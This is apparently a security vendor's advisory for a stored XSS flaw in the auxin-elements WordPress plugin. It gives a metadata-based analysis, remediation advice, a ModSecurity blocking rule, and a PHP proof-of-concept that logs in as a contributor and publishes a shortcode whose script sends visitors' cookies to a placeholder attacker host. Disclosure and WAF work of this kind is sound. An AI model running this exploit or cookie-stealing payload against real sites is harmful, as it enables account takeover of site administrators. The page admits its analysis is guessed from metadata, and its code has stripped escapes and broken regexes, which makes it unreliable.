Atomic Edge analysis of CVE-2026-57737 (metadata-based): This vulnerability affects the Shortcodes and extra features for Phlox theme plugin (auxin-elements) versions up to and including 2.17.21. It is an authenticated Stored Cross-Site Scripting (XSS) vulnerability with a CVSS score of 6.4. The issue allows contributors and above to inject arbitrary web scripts that execute when other users access the affected page.
The root cause stems from improper input sanitization and output escaping in the plugin’s shortcode processing. The CWE-79 classification indicates the plugin fails to neutralize user-controllable input during web page generation. Since no code diff is available, Atomic Edge analysis infers the vulnerability likely resides in one or more shortcode handlers that accept attributes or content from users. The plugin’s shortcodes probably pass user-supplied data directly into an HTML context without escaping. The contributor+ authentication requirement indicates the plugin’s shortcode endpoints properly enforce WordPress capability checks, but fail to sanitize the data before storage or escape it on output.
Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post or page containing a vulnerable shortcode with a malicious payload. Example shortcodes from this plugin include [aux_*], [auxin_*], or similar names. The attacker sets a shortcode attribute to a JavaScript payload, for example: [aux_test myattr=”alert(document.cookie)”]. When other users, including administrators, view the page the browser executes the injected script. The attack targets the post editor in /wp-admin/post-new.php or /wp-admin/post.php, using the standard WordPress post creation interface.
Remediation requires the plugin to implement proper input sanitization and output escaping on all shortcode attributes and content. The plugin should use WordPress sanitization functions like sanitize_text_field() for text attributes, wp_kses() for HTML content, and esc_attr() when outputting attribute values in HTML contexts. The plugin should also apply esc_html() or wp_kses_post() when displaying shortcode content. Since no patched version is available, users must disable the plugin or remove vulnerable shortcodes through code modifications.
Impact: Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. The attacker can steal session cookies, perform administrative actions on behalf of a victim admin (creating new admin users, installing plugins, modifying site content), redirect users to malicious sites, or deface the site. The stored nature means the attack persists in the database, affecting all visitors over time.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57737 (metadata-based)
# This rule blocks stored XSS attempts via WordPress REST API post creation with malicious shortcode attributes.
# It targets the wp/v2/posts endpoint and detects common XSS payloads in the content field.
# The regex pattern captures typical JavaScript event handlers and script tags.
# This is a narrow rule: it only blocks requests that match both the REST API endpoint and the XSS pattern.
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts$"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57737 Stored XSS via auxin-elements shortcode',severity:'CRITICAL',tag:'CVE-2026-57737',tag:'wordpress',tag:'xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule REQUEST_BODY "@rx <script[^>]*>.*</script[^>]*>|onerrors*=|onloads*=|onclicks*=|onmouseovers*="
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
SecRule ARGS_POST:content "@rx .*aux_.*" "t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57737 - Shortcodes and extra features for Phlox theme <= 2.17.21 - Authenticated (Contributor+) Stored XSS
/*
* This proof-of-concept demonstrates exploitation of a stored XSS vulnerability in the auxin-elements plugin.
* The attacker must have WordPress contributor-level credentials.
* The PoC creates a new post containing a malicious shortcode that executes JavaScript when viewed.
*
* ASSUMPTIONS:
* - The target WordPress site has the auxin-elements plugin installed and active (version <= 2.17.21).
* - The plugin registers a shortcode that fails to sanitize input and escape output.
* - We use a generic shortcode pattern [aux_*] as a placeholder.
* In practice, the attacker would test various plugin shortcodes to find the vulnerable one.
* - WordPress REST API or admin AJAX is used for post creation.
*/
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'contributor'; // Change to a valid contributor username
$password = 'contributor_password'; // Change to the password
// Payload: stored XSS that steals cookies and redirects to attacker-controlled server
// Note: Replace 'attacker-site.com' with your own server to capture cookies
$xss_payload = '<script>document.location="http://attacker-site.com/steal.php?c="+document.cookie</script>';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
echo "Authentication completed.n";
// Step 2: Get WordPress nonce for post creation via REST API
$api_nonce_url = $target_url . '/wp-json/wp/v2/users/me';
curl_setopt($ch, CURLOPT_URL, $api_nonce_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
preg_match('/X-WP-Nonce: (S+)/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
die('Failed to retrieve REST API nonce.n');
}
echo "REST API nonce obtained: $noncen";
// Step 3: Create a new post with the XSS payload in the content
// We assume a vulnerable shortcode like [aux_test myattr="PAYLOAD"]
// The attacker would need to guess or enumerate the exact shortcode name.
// For demonstration, we use a placeholder: [aux_shortcode_vuln]
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Test Post - CVE-2026-57737 PoC',
'content' => '[aux_shortcode_vuln myattr="' . $xss_payload . '"]',
'status' => 'publish'
);
$headers = array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
);
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_HEADER, false);
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 201) {
echo "Exploit post created successfully.n";
echo "Visit the site to trigger XSS when an admin views the post.n";
} else {
echo "Post creation failed. HTTP code: $http_coden";
echo "Response: $post_responsen";
}
curl_close($ch);
?>
